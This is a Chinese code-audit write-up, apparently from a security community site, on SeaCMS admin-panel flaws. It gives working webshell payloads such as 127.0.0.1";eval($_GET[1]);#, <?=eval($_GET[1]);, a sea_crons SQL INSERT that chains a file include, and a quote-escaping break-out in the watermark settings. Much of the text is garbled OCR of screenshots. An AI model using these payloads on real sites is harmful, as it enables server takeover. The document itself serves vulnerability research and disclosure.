Seacms 代码审计小结 – 先知社区

前言

找了一个时间审计了 Seacms 这个框架,算是忙里偷闲,有些地方并没有很仔细的去 找,不过好多简单的利用都是撞洞。呜呜呜!这里做一下总结。

这里我从文件写入和文件包含两个点切入的。文件写入的函数主要是 fwrite, 文件包含的主要就是 include, 框架中没有使用到 require 函数, 而 require_once 函数基本又都是写死的。

seacms 源码下载地址: https://cdn.jsdelivr.net/gh/seacmsnet/CMS@master/SeaCMS.zip

基本利用

打开 vscode, 直接使用搜索功能对于整个 cms 进行查找, 使用了 fwrite 函数的地方还是很多的, 菜鸡的审计方式很简单, 就是一个个看过去咯。

| | 搜索 | ८ ☴ [+ 0 |
|---|--|------------------|
| | fwrite | Aa <u>Abi</u> ∎* |
| Ĩ | · | AB 🖅 |
| | 要包含的文件 | |
| | ./SeaCMS | ΞΞ |
| | 排除的文件 | |
| | | £6 |
| | 38 文件中有 81 个结果 - 在编辑器中打开 | |
| | <mark>fwrite</mark> (\$fp,\$bakStr); | |
| | admin_datarelate.php SeaCMS\SeaCMS_210530\Upload\admin | 3 |
| | <mark>fwrite</mark> (\$fp,"<"."?php\r\n"); | ¢b × |
| | <mark>fwrite</mark> (\$fp,\$configstr); | |
| | <mark>fwrite</mark> (\$fp,"?".">"); | |
| | ✓ ♣ admin_i.php SeaCMS\SeaCMS_210530\Upload\admin | 1 |
| | fwrite(\$open,\$v2); | |
| | admin_ip.php_SeaCMS\SeaCMS_210530\Upload\admin | 1 |
| | twrite(\$open,\$str); | |
| | fwrite(\$open \$v2): | |
| | admin menu.php SeaCMS\SeaCMS 210530\Upload\admin | 1 |
| | fwrite(\$fp,\$menu); | |
| | ✓ A admin_notify.php SeaCMS\SeaCMS_210530\Upload\admin | 1 |
| | <mark>fwrite</mark> (\$open,\$str); | 年日 え 十 1 文 |
| | ✓ ♣ admin_ping.php SeaCMS\SeaCMS_210530\Upload\admin | 1 |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623172751-47e3d768d405-1.png)

在翻找的时候忽然发现了下面一段代码

```
SeaCMS > SeaCMS 210530 > Upload > admin > 💏 admin ip.php > 🔗 html > 😔 body
       <?php
  1
       header('Content-Type:text/html;charset=utf-8');
  2
  3
      require_once(dirname(__FILE__)."/config.php");
      CheckPurview();
  4
      if($action=="set")
  5
  6
       {
           $v= $ POST['v'];
  7
           $ip = $ POST['ip'];
  8
           $open=topen("../data/admin/ip.php","w" );
  9
           $str='<?php</pre>
 10
           $str.='$v = "';
 11
           $str.="$v";
 12
           $str.='"; ';
 13
           $str.='$ip = "';
 14
           $str.="$ip";
 15
           $str.='"; ';
 16
           $str.=" ?>";
 17
           fwrite($open,$str);
 18
 19
           fclose($open);
           ShowMsg("成功保存设置!","admin ip.php");
 20
           exit;
 21
 22
       }
 22
```

(https://xzfile.aliyuncs.com/media/upload/picture/20210623172800-4d9cdba0d405-1.png)

在 admin/admin_ip.php 中竟然无过滤的使用了 POST 进行传参,该框架在 include/filter.inc.php 文件中是有对应的函数对传入的参数进行过滤的,而这里并 没有,并且这里写入的文件是一个 php 结尾的文件,这其实利用就很简单了。仅仅需 要闭合语句,然后跳出来写一个 eval 函数即可。

| SeaCMS | 5 > SeaCMS_210530 > Upload > admin > 🎌 admin_ip.php > |
|--------|--|
| 39 | <pre><div class="r_content_1"></div></pre> |
| 40 | <form action="admin_ip.php?action=set" method="post"></form> |
| 41 | <table <="" border="0" cellpadding="0" cellspacing="0" th="" width="100%"></table> |
| 42 | |
| 43 | 后台IP安全设置 |
| 44 | |
| 45 | |
| | |



(https://xzfile.aliyuncs.com/media/upload/picture/20210623172843-673a1ab4d405-1.png)

并且在该文件下面的 47 行,还发现了使用了 require_once 函数包含

data/admin/ip.php 该文件。接着演示一下漏洞的利用。

| M 后台IP安全设置 × + | |
|---|---|
| ← → C 合 ○ ≧ 10.10.133/5o2pql/admin_ip.php □ 火狐官方站点 ● 新手上路 □ 常用网址 ⊕ 京东商城 | |
| 后台吧安全设置 | |
| 功能开关: 💿 关闭 💦 开启 * 是否启用ip限制,启用后非登记ip无法访问网站后台 | |
| 127.0.0.1";eval(\$_GET[1]);# 允许IP: | * 允许设置多个ip,每行一个 |
| 确认 | |
| *开启该功能后,将只允许已登记的ip地址访问后台,如上网ip不固定,请勿开启。 | |
| * 如果上网ip变化导致无法登陆后台,请手动修改/data/admin/ip.php文件内容, \$v = "0"表示关闭该功f | 95° |
| | 本页面用时0.0156秒,共执行0次数据查询 POWER BY SEACMS |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623172852-6c78316ed405-1.png)

| 登录到 Seacms 的后台, | 接着访问 | <pre>http://ip/5o2pql/admin_ip.php],</pre> | 写入 |
|--------------------------|----------------|---|----|
| 127.0.0.1";eval(\$_GET[1 |]);# ,保 | 存配置。 | |

| M PHP 7.34 - phpinfo0 × + 2 1 ← → C ○ ○ 10.10.10.133/502pql/admin_ip.php?1=phpinfo0; ※ ※ ☆ □ 火蛋白方站点 ●新手上路 □ 第用网址 ● 东东南城 ● | | | | | | |
|---|---|--|--|--|--|--|
| | PHP Version 7.3.4 | php | | | | |
| | System | Windows NT NDSEC-PC 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) AMD64 | | | | |
| - | Build Date | Apr 2 2019 21:50:57 | | | | |
| | Compiler | MSVC15 (Visual C++ 2017) | | | | |
| - | Architecture | x64 | | | | |
| | Configure Command cscript /nologo configure.js *enable-snapshot-build* *enable-debug-pack* * pdo-oci=c\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk.shared* snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk.shared* *enable-objec enable-com-dotnet=shared* *without-analyzer* *with-pao* | | | | | |
| | Server API | CGI/FastCGI | | | | |
| | Virtual Directory Support | disabled | | | | |
| | Configuration File (php.ini) Path | C:\Windows | | | | |
| | Loaded Configuration File | C:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini | | | | |
| | Scan this dir for additional .ini files | (none) | | | | |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623172901-71ffb04ed405-1.png)

此时我们就将 eval 插入 data/admin/ip.php 中, 使用 GET 请求传入 1, Getshell 成功!

这样的漏洞在 Seacms 中还是有很多的,有兴趣的师傅也可以多去找找

进阶利用

常有大师傅跟我说:"现在想直接利用很难啦,要打打组合拳。",顺着这个思路我在 Seacms 中继续探索着。

```
SeaCMS > SeaCMS_210530 > Upload > admin > 🧌 admin_s.php > ...
  1
      <?php
      header('Content-Type:text/html;charset=utf-8');
  2
      require once(dirname( FILE )."/config.php");
  3
      CheckPurview();
  4
      if($action=="set")
  5
  6
       {
           $v2=$ POST['v'];
  7
           $open=fopen("../data/admin/s.txt'
  8
           fwrite($open,$v2);
  9
           fclose($open);
 10
           ShowMsg("成功保存设置!","admin s.php");
 11
 12
           exit;
 13
       }
 14
```

(https://xzfile.aliyuncs.com/media/upload/picture/20210623172925-80460b62d405-1.png)

在框架中,有很多是写入的是以 **txt** 结尾的文件,这种直接读是无法以 **php** 来解 析,但是如果找到一处文件包含的漏洞,让他包含的是这种我们可以修改的文件,那 就也可以造成代码执行了。

于是,我再次打开搜索功能,继续搜索可以利用的文件包含的点。还真找到了一处, 它的结尾是可控的,如下图



(https://xzfile.aliyuncs.com/media/upload/picture/20210623172936-8697fdb8d405-1.png)

其中 \$filename 变量是来自于 sea_crons 表中的 filename 字段,由于这里对于 \$filename 变量的过滤基本算是没有的,所以控制表中的对应字段,那么我们就可以 包含任意文件了。

Seacms 的后台是有一个 SQL 高级助手的功能,可以执行任意 SQL 语句,如下



(https://xzfile.aliyuncs.com/media/upload/picture/20210623172949-8e94e77ed405-1.png)

由此可见,事情变得简单了。利用如下:

| M 用户签到设置 × + | | <mark>₿</mark> ₩ | | | |
|--|--|------------------|--|--|--|
| \leftarrow \rightarrow C \textcircled{a} | 🔿 🗟 10.10.10.133/5o2pql/admin_s | .php | | | |
| 🗅 火狐官方站点 🤞 新手上路 🗋 常用网址 | ⊕ 京东商城 | | | | |
| 每次签到增加的积分数 | | | | | |
| STYLE="WIDTH:50PX;TEXT-TRANSFORM:U | JPPERCASE;" =EVAL(\$_GET[1]);</td <td>*为0时关闭该功能</td> | *为0时关闭该功能 | | | |
| 确认 | | | | | |
| *积分数设置为0时,表示关闭该功能。如果修 | 改无效,请检查/data/admin/s.txt文件权限是否证 | 可写。 | | | |
| | | 7월 2624 1112월 | | | |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173002-9649f748d405-1.png)

```
访问 http://ip/5o2pql/admin_s.php , 写入 style="width:50px;text-
transform:uppercase;"<?=eval($_GET[1]); , 保存配置。</pre>
```

这里使用短标签的原因是 <?php 的格式会被匹配, 然后删掉, 具体原理还没还没找到, 不过使用 <?= 绕过即可。



(https://xzfile.aliyuncs.com/media/upload/picture/20210623173020-a0ef211ed405-1.png)

接着使用 SQL 高级助手,在 sea_crons 表中添加一条对应的数据。SQL 语句:

INSERT INTO sea_crons

(cronid,available,type,name,filename,lastrun,nextrun,weekday,day,hour,minute) VALUES
(3,3,'a','name','../../data/admin/s.txt',1,1,2,2,3,3)

| ▲ 高级工具 | ļ | × + | | | | | | |
|--|--|----------------------------|----------------------|--|--------|---|--------------------|---------------------|
| $\leftarrow \ \ \rightarrow$ | C ŵ | 🔿 웚 10.10.10.133/5 | o2pql/admin_cron.php | | A 12 B | | | o sho 🖌 👘 |
| 口火狐南方 | 站点 🧉 新手上路 | 🗅 常用网址 🜐 京东商城 | | STATES AND | | And the second secon | | |
| 重要提示 | | | | | | | | |
| * 本功能涉 * 请谨慎信 * 网站前名 * 默认只当 * 自动采知 | * 本功能为定时任务自动版,访客访问前台页面时即自动触发,不需要打开后台管理。 * 请谨慎使用本功能,合理设置执行间隔时间,延长长HPI和本执行时间,以公选运成股务器面消。 · 网站前台馆做公园明封/commonitylify/introing/mS/ASKiyZ+FOTOULE/常执行。 * 默认只生成首页/前面简页Z+V·达有更新的内容和功能, 情况/include/crons/automakehtml.php可配置更多项目。 * 自动定率和不是按问面下在规模密图使,可能等低超加基构的试验和容易器。 | | | | | | | |
| 计划任务 | | | | | | | | |
| 删除 | 可用 | 名称 | 类型 | 时间 | | 上次执行时间 | 下次执行时间 | |
| | | name //data/admin/s.txt | 自定义 | 每月2日03时03分 | | 2021-6-23 16:59 | 2021-6-29 03:03 | 编辑 运行 |
| | 提交 | | | | | | | |
| 新增计划定时生 | 新潮计初任务 定时生成 ▼ 上初任务名称(*) | | | | | | | |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173041-ad8b58e8-

最后来到 http://ip/5o2pql/admin_cron.php 下,运行对应的任务,这里会进行 302 的

重定向,于是咋们抓个包



(https://xzfile.aliyuncs.com/media/upload/picture/20210623173055-b5fa3620d405-1.png)

成功 Getshell!

防护过当

最后讲一种,作者因为防护过度,而导致的字符串的内容变为代码可以执行。漏洞是在 admin/admin_config_mark.php 文件下。

当时是在测试单引号,如下

| (C) 词注 | ★ 首页 | ■数据 ■模板 | ぇ ■ 生成 | ▲用户 | ▶⊥具 | U 采集 | ┢.扩展 | ☑ 系统 |
|----------------------|----------------------------|------------------|--|----------------------|-----------------|-------------|---------|--------|
| © /4/T | 合 后台首页 » 设置 » 水印 | 印设置 | | | | | | |
| ○ 网站设置 | 图片水印设置 | LEATLAN | | | | | | |
| • 图片水印设置 | 上传图片是召使用图片7 采集同步图片是否使用图 | 水印功能: 图片水印功能· | | | | | | |
| ○ 远程图片设置 | 选择水印的文件类型: | | ○ 图片 ○ 文字 | | | | | |
| • 播放器设置 | 添加水印的图片大小控制 | 制: | 宽: 100 高: | 100 | | | | |
| ○ 弹幕播放插件 | 水印图片文件名: | | 海洋影视CI | MS _{如果不} | 存在,则使用文字 | ■水印 | | |
| ○ 抽放未源首连 ○ 下载来源管理 | 上传新图片: | | 刘览 未选择文化 你的系统支持的图片 | 牛。 格式: GIF JPE | EG PNG WBMP | 建议图片大小1 | 36*34 | |
| ○ 系统账号管理 | 水印图片文字: | | www.seacms.net | 请查看c | data\mark\simhe | ei.ttf字体库是召 | 存在 | |
| 。 后台登陆验证码 | 水印图片文字字体大小: | : | 6' | | | | | |
| ○ 资源库API设置 | 水印图片文字颜色: | | #FF0000 | 格式为# | #XXXXXX;默认#F | F0000为红色 | | |
| o 后台IP安全设置 | 图片附件添加水印后质量 | 量参数: | 100 | 范围为 | 0~100 的整数, | 数值越大结果图 | 图片效果越好, | 但尺寸也越大 |
| ○ 微信公众号设置 | 设置 GIF 类型水印图片: | 水印透明度: | 100 | 0—100 |), 值越小越透明 | | | |
| ○ 邮件服务器设置 | 水印位置: | | 随机位置 顶部居左 底部居左 | 01 | 顶部居右 底部居右 | | | |
| | | | 确定提交 清除重 | 置 | | | | |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173106-bc66b89ed405-1.png)

但是在提交之后就变成了,如下

| M 管理中心 - 海洋CMS | × + | | | | | | | | Ř Ř | |
|--|--------------|------------|-------------|------|-------|-----|-----|-----------|------|--|
| $\overleftarrow{} \overleftarrow{} \overleftarrow{} \overleftarrow{}$ | 0 | ▲ 10.10.10 | 0.133/5o2pq | l/# | ŻRA - | | | - 22 | 法法 | |
| 🗋 火狐官方站点 🤞 新手上調 | 路 🗋 常用网址 🕀 | 京东商城 | | | | | | e. | | |
| ②词注 | ▲ 首页 | ■ 数据 | ■模板 | 〓 生成 | ▲用户 | ▶工具 | リ采集 | ┢折展 | ☑ 系统 | |
| © / 4 / + | 局 后台首页 » 设置: | > 水印设置 | | | | | | | | |
| ○ 网站设置 | | | | | | | | | | |
| • 图片水印设置 | | | | | | | | | | |
| ○ 远程图片设置 | | | | | | | | | | |
| ○ 播放器设置 | | | | | | | | | | |
| ○ 弹幕播放插件 | | | | | | | | | | |
| ○ 播放来源管理 | | | | | | | | | | |
| ○ 卜载来源管埋 | | | | | | | | | | |
| ○ 系统账号管理 | | | | | | | | | | |
| 。 后台登陆验证码 | | | | | | | | | | |
| 资源库API设置 、 E台IP安全设置 | | | | | | | | | | |
| 〇/1011 女主议員 ○ 微信公众号设置 | | | | | | | | | | |
| ○ 邮件服务器设置 | | | | | | | | | | |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173120-c4eed8fcd405-1.png)

对应功能点的内容直接没掉了???于是我去查看了一下修改文件的源代码,发现原 来添加的单引号没掉了,转而变成了一个反斜杠。

| 🧾 inc_photowatermark_config - 记事本 | |
|--|--|
| 文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) | |
| <pre>K?php \$photo_markup = '0'; \$photo_markdown = '0'; \$photo_marktype = '1'; \$photo_wwidth = '100'; \$photo_wheight = '100'; \$photo_waterpos = '1'; \$photo_watertext \$photo_watertext \$photo_fontsize = '6\'; \$photo_fontcolor \$photo_fontcolor \$photo_marktrans = '100'; \$photo_diaphaneity = '100'; \$photo_marking = 'mark.gif'; }></pre> | |
| | |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173135-cdea36fed405-1.png)

使用了 Xdebug 的方式,重新跟了一遍传参的过程,才发现了其中的神奇。过程如下

```
SeaCMS > SeaCMS_210530 > Upload > include > 🎌 filter.inc.php > ...
           exit("Request Error!");
  4
  5
       }
  6
       $magic_quotes_gpc = ini_get('magic_quotes_gpc');
  7
       function _FilterAll($fk, &$svar)
  8
  9
       {
 10
           global $cfg notallowstr,$cfg replacestr;
           if( is array($svar) )
 11
 12
           {
               foreach(\$var as \$ k = \$ v)
 13
 14
                    $svar[$_k] = _FilterAll($fk,$_v);
 15
                3
 16
 17
           }
           else
 18
 19
           {
               if($cfg notallowstr!='' && preg match("#".$cfg notallowstr."#i", $svar))
 20
 21
                {
                    ShowMsg(" $fk has not allow words!",'-1');
 22
                    exit();
 23
 24
                }
               if($cfg replacestr!='')
 25
 26
                {
                    $svar = preg replace('/'.$cfg replacestr.'/i', "***", $svar);
 27
 28
                }
 29
           if (!$magic quotes gpc) {
 30
               $svar = addslashes($svar);
 31
           3
 32
 33
           return $svar;
 34
 35
       /* 对_GET,_POST,_COOKIE进行过滤 */
 36
 37
       foreach(Array('_GET','_POST','_COOKIE') as $_request)
 38
       {
           foreach(\$_request as \$_k \Rightarrow \$_v)
 39
 40
           {
               ${$_k} = _FilterAll($_k,$_v);
 41
```

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173155-d9cc9886d405-1.png)

将参数传入之后,框架会对每个参数使用 addslashes 函数进行转义,原本我们传入的 6' 变为了 6\',接着来到 admin/admin_config_mark.php 文件



(https://xzfile.aliyuncs.com/media/upload/picture/20210623173210-e256b0fed405-1.png)

这里在赋值之前使用了 str_replace 函数将全部的单引号删掉了,所以 6\' 就变成 了 6\, 在进行字符串拼接之后,就会把后面的单引号转义了

这是文件原本格式

```
<?php
$photo_markup = '0';
$photo_markdown = '0';
$photo_marktype = '1';
$photo_wwidth = '100';
$photo_wheight = '100';
$photo_waterpos = '1';
$photo_watertext = 'www.seacms.net';
$photo_fontsize = '6';
$photo_fontcolor = '#FF0000';
$photo_marktrans = '100';
$photo_diaphaneity = '100';
$photo_markimg = 'mark.gif';
?>
```

如果将它修改为下面的格式,就可以 Getshell 了

```
<?php
$photo_markup = '0';
$photo_markdown = '0';
$photo_marktype = '1';
$photo_wwidth = '100';
$photo_wheight = '100';
$photo_waterpos = '1';
$photo_watertext = 'www.seacms.net\';
$photo_fontsize = ';eval($_GET[1]);#';
$photo_fontcolor = '#FF0000';
$photo_marktrans = '100';
$photo_diaphaneity = '100';
$photo_markimg = 'mark.gif';
?>
```

漏洞演示

| M 管理中心 - 海洋CMS | × + | |
|--|----------------------|--|
| \leftarrow \rightarrow C \textcircled{a} | 🗘 🏠 10.10.10.133/5o2 | |
| 🗋 火狐官方站点 歧 新手上路 | 各 🗋 常用网址 💮 京东商城 | |
| ② 海洋 | ▲首页 ■数据 ■模板 | 反 ■ 生成 ▲用户 /工具 以采集 ト・扩展 📝 系统 |
| | ☆ 后台首页 » 设置 » 水印设置 | |
| 。 网站设置 | 图片水印设置 | |
| • 图片水印设置 | 上传图片是否使用图片水印功能: | ○开启 ⑧ 关闭 |
| ○ 远程图片设置 | 采集同步图片是否使用图片水印功能: | ○ 开启 ⑧ 关闭 |
| ○ 播放哭设置 | 选择水印的文件类型: | ○ 图片 ⑧ 文字 |
| • 弹幕播放插件 | 添加水印的图片大小控制: | 宽: 100 高: 100 |
| • 播放来源管理 | 水印图片文件名: | 海洋影视CMS 如果不存在,则使用文字水印 |
| 下载来源管理 | 上传新图片: | 浏览…)未近择文件。 你的系统支持的图片格式: GIF IPEG PNG WRMP 建议图片大小136*34 |
| ○ 系统账号管理 | 水印图片文字: | www.seacms.net' 请查看data\mark\simhei.ttf字体库是否存在 |
| | 水印图片文字字体大小: | ;eval(\$_GET[9]);# |
| ○ | 水印图片文字颜色: | #FF0000 格式为#XXXXXXX;默认#FF0000为红色 |
| ○ /// // · · · · · · · · · · · · · · · · | 图片附件添加水印后质量参数: | 100 范围为 0~100 的整数,数值越大结果图片效果越好,但尺寸也越大 |
| ○ 邮件服务器设置 | 设置 GIF 类型水印图片水印透明度: | 100 0—100, 值越小越透明 |
| | | ○ 随机位置 |
| | 水印位置: | ● 」如部周左 ○ 」魚部周右 ○ 底部局左 ○ 底部局右 |
| | | ▲ 二 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 |
| | | 本页面用时0.0156秒,共执行0次数据查询 |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173226-ebe5b908d405-1.png) 选择系统的图片水印设置,将水印图片文字中改为 www.seacms.net',在接下来的位

置改为 ;eval(\$_GET[9]);# , 接着确认提交

| $ \begin{array}{ c c c c c c c c c c c c c c c c c c c$ | 2 & 10.10.10.133/5o2pql/admin_config_mark. | Php?9=phpinfo(); |
|---|--|---|
| 🗋 火狐官方站点 🍯 新手上路 🗋 常用网址 💮 |)京东商城 | SCONDER AND REPORTED |
| | PHP Version 7.3.4 | |
| | System | Windows NT NDSEC-PC 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) |
| | Build Date | Apr 2 2019 21:50:57 |
| | Compiler | MSVC15 (Visual C++ 2017) |
| | Architecture | x64 |
| | Configure Command | cscript /nologo configure.js "enable-snapshot-build" "enable-debug-pack" "dis pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantClient_12_1\sdk_shared" "w snap-build\deps_aux\oracle\x64\instantClient_12_1\sdk_shared" "enable-object-out enable-com-dotnet=shared" "without-analyzer" "with-pgo" |
| | Server API | CGI/FastCGI |
| | Virtual Directory Support | disabled |
| | Configuration File (php.ini) Path | C:\Windows |
| | Loaded Configuration File | C:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini |
| | Scan this dir for additional .ini files | (none) |
| | Additional .ini files parsed | (none) |

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173237-f2de01ded405-1.png)

则在 http://IP/5o2pql/admin_config_mark.php?9=phpinfo(); , 成功 Getshell。